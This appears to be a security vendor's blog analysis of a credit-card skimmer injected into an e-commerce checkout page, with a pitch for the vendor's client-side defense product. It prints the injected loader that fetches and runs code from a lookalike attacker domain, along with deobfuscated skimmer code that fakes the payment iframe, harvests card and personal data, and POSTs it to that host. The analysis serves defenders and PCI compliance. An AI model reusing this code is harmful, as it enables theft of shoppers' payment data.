Website owners have a number of legitimate business reasons to let third-party code run in a client-side session, from tag managers, frontend libraries, and security tools to pixel trackers, marketing, and UX utilities. These give birth to a multitude of link, script, and iframe tags that race to execute whenever a page loads. And these tags aren’t even exclusively fetched from the client side, as many developers opt to embed the third-party vendors into first-party scripts during the build process. Others prefer to use a tag manager which dynamically injects tags that loads the relevant resources. No matter how you look at it – it’s a jungle.
The PCI Council’s recent changes—namely, removing requirements 6.4.3 and 11.6.1 from SAQ A and new eligibility criteria guidance in FAQ 1588—have left many ecosystem participants wondering why an embedded payment form doesn’t automatically qualify ecommerce merchants for SAQ A and confirm the “site is not susceptible to attacks from scripts”?
In short, it’s because scripts running on the page that embeds the iFrame routinely steal cardholder data. While hunting for threats, I came across one such attack in which the threat actor injected their own code onto client-side sessions, mimicking a legitimate vendor and attempting to capture payment card information and PII. This attack and others like it can result in credit card fraud, which PCI DSS 4 requirements 6.4.3 and 11.6.1 attempts to prevent. Attacks like these can be stopped with HUMAN’s Client-Side Defense solution.
Hiding a Tree in the Forest
The main HTML of any modern website is often jam-packed with scripts, resources, inline JSONs, and dynamically injected code—it’s the kind of digital forest in which it’s easy for anything to hide. And that’s mostly okay, since it makes sense for the backstage area to prioritize efficiency over presentability, since the end users aren’t looking at the raw HTML but rather just the rendered page.
Attackers know this and take advantage of the clutter: some disguise their malicious injections to make them appear as if they belong, mimicking legitimate vendor code. Others simply place them among real third-party scripts, blending them in with the legitimate chaos. Attackers might inject them at the end of a long vendor import chain or append seemingly innocuous subdomains and paths like “img.
” or “/favicon
”, tricking a casual viewer into thinking they’re harmless resource calls. Meanwhile, other attackers take a different route, choosing to inject heavily obfuscated code at the very first opportunity, knowing that complexity can deter a deeper look. In either case, the result is the same: the real danger hides in plain sight, lost among the legitimate noise.
Let’s Skim Over the Attack
The Loader
Injected as a one-liner inline script on the main html, the malicious loader masqueraded itself by using nonsense variable names that seem meaningful, and made a call to a domain with an innocuous-seeming subdomain and a lookalike of a legitimate vendor’s domain:
<script>
var consentime_scr = new XMLHttpRequest();
consentime_scr.open("GET", "https://img.wisepops.co/nu/");
consentime_scr.onload = function () {
new Function((consentime_scr.response)).call(this);
};
consentime_scr.send();
</script>
What this code effectively does is send a request to img.wisepops[.]co/nu/ and executes the response string through the eval-equivalent function constructor.
The Packed Skimmer
The response was the following code, obfuscated using a packer I’ve already analyzed in The Far Point of a Static Encounter:
;var fi, oi, t_p, _rst, chckst, _ai, _gc, _cc, _gg, _gfv, ccn, _cn, _my, _c, fin, la, zpf, validateArr, doc, grrrw, chcl, lis, validate, cha, sac, scf, vcn, send, en_snd, sed, isNormalInteger, liuthtr, fwewfew, oujtytr;
(function() {
var ANI = ''
, psd = 223 - 212;
function icp(t) {
var j = 1667580;
var g = t.length;
var a = [];
for (var l = 0; l < g; l++) {
a[l] = t.charAt(l)
}
;for (var l = 0; l < g; l++) {
var r = j * (l + 307) + (j % 13424);
var u = j * (l + 749) + (j % 24660);
var v = r % g;
var w = u % g;
var q = a[v];
a[v] = a[w];
a[w] = q;
j = (r + u) % 2356549;
}
;return a.join('')
}
;var eXN = icp('npbtjvektsocurztycligmofnqachrrsuwoxd').substr(0, psd);
var Uyp = ')a)5egvb2] 5;,"my,yv+rf2a…REDACTED';
var fKc = icp[eXN];
var GAt = '';
var RmO = fKc;
var iUH = fKc(GAt, icp(Uyp));
var kNy = iUH(icp(']4|(J]?H,1lm.!iesgH5mf,]...REDACTED'));
var sPS = RmO(ANI, kNy);
sPS(8484);
return 1814
}
)()
Unpacking the code is as simple as replacing the line sPS(8484)
with console.log(sPS)
, and beautifying the console’s output. However, the unpacked code is still obfuscated, so in order to quickly and completely deobfuscate the code, we can run it through a JavaScript deobfuscator, like my open source REstringer (*ahem* shameless plug *ahem* also available online at restringer.tech). The following code snippets have been deobfuscated and renamed for convenience and clarity.
Strings + Insight = Stringsight?
To gain a quick insight into what the script might be doing, I quickly find the array where the obfuscator holds all of the strings used in the code. I’ll highlight some of the interesting ones:
var stringsArr = ['#pay_iframe', '#ui-id-1 iframe.iframe-paymentbox:eq(0)', 'https://www.[redacted].com/static/_cache/merged/174ee2fb9673224a5db1546974404a37.min.css', 'canvaschamp-_zldpl', 'undefined', 'location', 'test', 'checkout', ':checked', 'is', '#payment', 'display', 'css', 'none', 'height', 'isShowIframe', 'frontend_lid', 'remove', 'inline', 'afterend', '<iframe id="pay_iframe" class="iframe-paymentbox" …"" style="height: 508px; width: 739px;"></iframe>', 'insertAdjacentHTML', '<link href="', '" rel="stylesheet">', '<style type="text/css"></style>', '<style type="text/css">body {overflow: hidden;}</style>', '<div class="page-wrapper"><main id="maincontent" c…gin-bottom:15px}</style></div></div></main></div>', 'append', 'head', 'find', 'contents', ' ', 'body', 'length', 'div', 'payment-card-add page-layout-empty', 'addClass', 'visibility', 'visible', '(?:^|; )', '\\$1', 'replace', '=([^;]*)', 'match', 'cookie', '', 'getTime', 'setTime', '; expires=', 'toUTCString', '=', '; path=/', 'substring', 'toString', 'random', 'floor', '-', 'val', 'order-payment', 'card_number', 'expiry_date', 'card_security_code', 'card_holder_name', 'payButton', 'getElementById', 'indexOf', 'className', 'click', 'keyup', 'change', 'addEventListener', 'add', 'classList', 'value', '/', 'split', 'forEach', 'disabled', 'removeAttribute', 'true', 'setAttribute', 'currentTarget', 'trim', '$1 ', 'id', 'nb', 'cd', 'c', 'n', 'm', 'y', 'Magento_Checkout/js/model/quote', 'billingAddress', 'shippingAddress', 'f', 'firstname', 'l', 'lastname', 'e', 'email', …]
Like with a puzzle that you’re not sure how the end result would look like, I like to venture guesses regarding what the attack is, and how it will unfold. The strings I’ve highlighted are quite telling:
- A payment iframe will be targeted on the checkout page.
'#pay_iframe', '#ui-id-1 iframe.iframe-paymentbox:eq(0)', 'checkout'
- Specifically, the payment service is being targeted.
'payment-card-add page-layout-empty'
- A fake iframe will be injected in its stead
'<iframe id="pay_iframe" class="iframe-paymentbox" …"" style="height: 508px; width: 739px;"></iframe>'
- Payment details and PII are targeted
'card_number', 'expiry_date', 'card_security_code', 'card_holder_name', 'billingAddress', 'shippingAddress', 'firstname', 'lastname', 'email'
I’ll get to the 'Magento_Checkout/js/model/quote'
and 'https://www.[redacted].com/static/_cache/merged/174ee2fb9673224a5db1546974404a37.min.css'
strings later.
The Attack Flow
After reviewing the entire script I’ve affirmed that the guesses were on point. Now it’s time to understand the flow of the attack, by following the execution flow in the deobfuscated code:
function attackPayment() {
if (_addEventListener === 1) {
hideIframeAfterAttack();
}
if (getCookie('canvaschamp-_zldpl')) {
return;
}
if (typeof jQuery === 'undefined') {
return;
}
if (!new RegExp('checkout').test(window.location)) {
if (ccFieldChangeCallback === 1) {
setCookie();
} else {
return;
}
}
if (jQuery('#payment').is(':checked')) {
if (jQuery('#ui-id-1 iframe.iframe-paymentbox:eq(0)')[0] && jQuery('#ui-id-1 iframe.iframe-paymentbox:eq(0)').css('display') != 'none' && jQuery('#ui-id-1 iframe.iframe-paymentbox:eq(0)').height() > 10) {
jQuery('#ui-id-1 iframe.iframe-paymentbox:eq(0)').css('display', 'none');
injectAddNewCardForm();
}
} else {
if (getVal == 'street') {
return;
} else {
restoreOriginalIframe();
}
}
}
Let’s break it down:
- This script often disables functions after they stop being useful by overriding them with literal values. This means
_addEventListener === 1
is used to determine if the attack itself is over, and if so, the fake iframe should be removed.
- One of the ways the script marks the end of the attack is by setting a cookie named
canvaschamp-_zldpl
.
- The script interacts with the DOM using jQuery, making the existence of it on the page one of the requirements for activation.
- This attack targets the payment gateway, so it requires the user to select that particular payment option. The script verifies that the iframe is rendered correctly before replacing it with the fake iframe.
Now Listen Here!
Once the attack is activated, the payment iframe is hidden and a fake one is set up instead. Event listeners are then set on the fake iframe in order to collect the targeted values:
function setListenersOnPaymentForm() {
doc = jQuery('#pay_iframe').contents()[0];
if (doc) {
var payBtn = doc.getElementById('payButton');
if (!setCookie) {
generateGuid(true, null);
return;
}
if (payBtn && payBtn.className.indexOf('order-payment') < 0) {
_addEventListener('click', payBtn, payBtnClickCallback);
}
for (var fieldName in ccRelatedFields) {
payBtn = doc.getElementById(ccRelatedFields[fieldName]);
if (payBtn && payBtn.className.indexOf('order-payment') < 0) {
_addEventListener('keyup', payBtn, ccFieldKeyupCallback);
_addEventListener('change', payBtn, ccFieldChangeCallback);
}
}
}
}
Note that the class 'order-payment'
is used to mark elements the skimmer is already listening to.
Let’s look at these event listeners:
function payBtnClickCallback() {
if (getCookie('canvaschamp-_zldpl')) {
return;
}
if (verifyTargetFieldsAreOccupied(ccRelatedFields)) {
collectCcAndPiiData();
exfilData();
if (exfilData == 1) {
decodeString = true;
return;
}
setCookie('canvaschamp-_zldpl', generateRandUUID(), 360);
if (generateGuid === 0) {
_isNormalInteger = true;
return;
}
setCookie('frontend_lid', generateRandUUID(), 360);
}
}
Pretty straightforward:
- If the
canvaschamp-_zldpl
cookie marking the end of the attack is set, abort.
- The
verifyTargetFieldsAreOccupied
function verified valid values are occupying the input fields, including credit card checksum validation.
- If all of the details are filled in – collect them and exfiltrate.
Keep Yourself Collected
Here’s the collection function:
function collectCcAndPiiData() {
stolenData.cd.nb = doc.getElementById('card_number').value;
stolenData.cd.c = doc.getElementById('card_security_code').value;
stolenData.cd.n = doc.getElementById('card_holder_name').value;
var c = doc.getElementById('expiry_date').value.split('/');
stolenData.cd.m = c[0];
stolenData.cd.y = c[1];
var magentoCheckoutQuote = require('Magento_Checkout/js/model/quote');
if (magentoCheckoutQuote) {
var details = magentoCheckoutQuote.billingAddress();
if (!details) {
details = magentoCheckoutQuote.shippingAddress();
}
if (details) {
stolenData.f = details.firstname;
stolenData.l = details.lastname;
stolenData.e = details.email;
if (!getVal) {
return;
}
stolenData.t = details.telephone;
stolenData.c = details.city;
stolenData.r = details.regionCode || details.regionId;
stolenData.co = details.countryId;
if (encryptData === 1) {
attackPayment();
validateLuhn = null;
}
stolenData.pc = details.postcode;
if (details.street && details.street.length) {
stolenData.a = details.street.join(' ');
if (!stringsArr) {
ccFieldKeyupCallback();
encryptData = 0;
return;
}
stolenData.a2 = ' ';
}
}
}
if (!stolenData.f) {
stolenData.f = getVal(".billing-address-form input[name='firstname']") || getVal(".shipping-address-form input[name='firstname']");
}
if (!stolenData.l) {
stolenData.l = getVal(".billing-address-form input[name='lastname']") || getVal(".shipping-address-form input[name='lastname']");
}
if (!stolenData.e) {
stolenData.e = getVal('#customer-email');
}
if (!stolenData.t) {
stolenData.t = getVal(".billing-address-form input[name='telephone']") || getVal(".shipping-address-form input[name='telephone']");
}
if (!stolenData.a) {
if (!generateGuid) {
return;
} else {
stolenData.a2 = getVal(".billing-address-form input[name='street[1]']") || getVal(".shipping-address-form input[name='street[1]']");
}
}
if (!stolenData.a) {
stolenData.a = getVal(".billing-address-form input[name='street[0]']") || getVal(".shipping-address-form input[name='street[0]']");
}
if (!stolenData.co) {
stolenData.co = getVal(".billing-address-form select[name='country_id']") || getVal(".shipping-address-form select[name='country_id']");
}
if (!stolenData.pc) {
stolenData.pc = getVal(".billing-address-form input[name='postcode']") || getVal(".shipping-address-form input[name='postcode']");
}
if (!stolenData.c) {
stolenData.c = getVal(".billing-address-form input[name='city']") || getVal(".shipping-address-form input[name='city']");
}
if (!payBtnClickCallback) {
generateGuid(false);
ccFieldKeyupCallback = 'add';
}
if (!stolenData.r) {
stolenData.r = getVal(".billing-address-form input[name='region']:eq(0)") || jQuery(".billing-address-form select[name='region_id']:eq(0) option:selected").text() || getVal(".shipping-address-form input[name='region']:eq(0)") || jQuery(".shipping-address-form select[name='region_id']:eq(0) option:selected").text();
}
}
- The first part is targeting the payment details fields by their id.
- The second part attempts to retrieve the PII by using either
require('Magento_Checkout/js/model/quote')
which is a JavaScript module that provides an API to interact with cart and checkout pages’ data, or directly using query selectors targeting billing/shipping-address.
Out, Out and Away!
The exfiltration of the data is pretty straightforward:
function exfilData() {
function enableAttack() {
isAttackEnabled = true;
}
if (isAttackEnabled) {
var dataToExfil = {
Address: stolenData.a + ' ' + stolenData.a2,
CCname: stolenData.cd.n || stolenData.f + ' ' + stolenData.l,
Email: stolenData.e,
Phone: stolenData.t,
Sity: stolenData.c,
State: stolenData.r,
Country: stolenData.co,
Zip: stolenData.pc,
Shop: window.location.host,
CcNumber: stolenData.cd.nb,
ExpDate: stolenData.cd.m + '/' + stolenData.cd.y,
Cvv: stolenData.cd.c,
Password: stolenData.ps,
Useragent: navigator.userAgent,
Uid: '48ad02e382a04bf28291363e9172ca6559a8beb2'
};
var stringifiedData = JSON.stringify(dataToExfil);
var guid_ = generateGuid();
var randomReferrer = generate16Chars();
var c = {
main: encryptData(stringifiedData, guid_, randomReferrer),
guid: guid_,
refer: randomReferrer
};
if (!_isNormalInteger) {
injectAddNewCardForm(0, 'keySize');
exfilData = false;
}
jQuery.ajax({
url: 'https://img.wisepops.co/p/',
data: {
h: c.main,
r: c.guid,
t: c.refer
},
type: 'POST'
});
isAttackEnabled = false;
setTimeout(enableAttack, 1000);
}
}
The collected data is labeled, stringified, and encrypted. The encrypted data, along with the required decryption keys are sent to another path on the malicious server on a POST request using jQuery’s Ajax function. After the data was sent off, the attack is deemed successful, and a bunch of signals are set in order to prevent the attack from running again.
Recap
This attack targets the payment service running on a specific WordPress-hosted site. Taking into account how the attack uses the target site’s own CSS stylesheets called by name to style the fake form (remember the ‘https://www.[redacted].com/static/_cache/merged/174ee2fb9673224a5db1546974404a37.min.css’ string?), the attackers likely make an effort to tailor their attack to specific targets in order to prevent the victims from catching on. The similarities of the code structure between this attack and similar attacks, along with the use of the same obfuscator, suggest a common origin for the skimmer: either a single attacker targeting multiple sites, or a single source that generates and sells the skimmer to different groups, similar to the Skimming-as-a-Service we’ve uncovered back in 2020.
It’s another example of how using an iframe to “separate concerns” with regards to credit card handling is not enough, and that the page leading to the payment page or loading the payment iframe must also be monitored.
Protection from Skimmers
Skimmers like these are, by design, tough to spot. But being hard to spot doesn’t mean they can’t be stopped. HUMAN’s Client-Side Defense solution alerts on unauthorized changes to scripts and security-impacting HTTP headers, enables investigation of risky script behavior, and helps clients block risky behavior, preventing injected scripts like the skimmer above from exfiltrating customer and payment information. Client-Side Defense simplifies compliance with PCI DSS 4’s requirements 6.4.3 and 11.6.1, requiring organizations to inventory, authorize, justify, monitor, and assure the integrity of all client-side payment page scripts.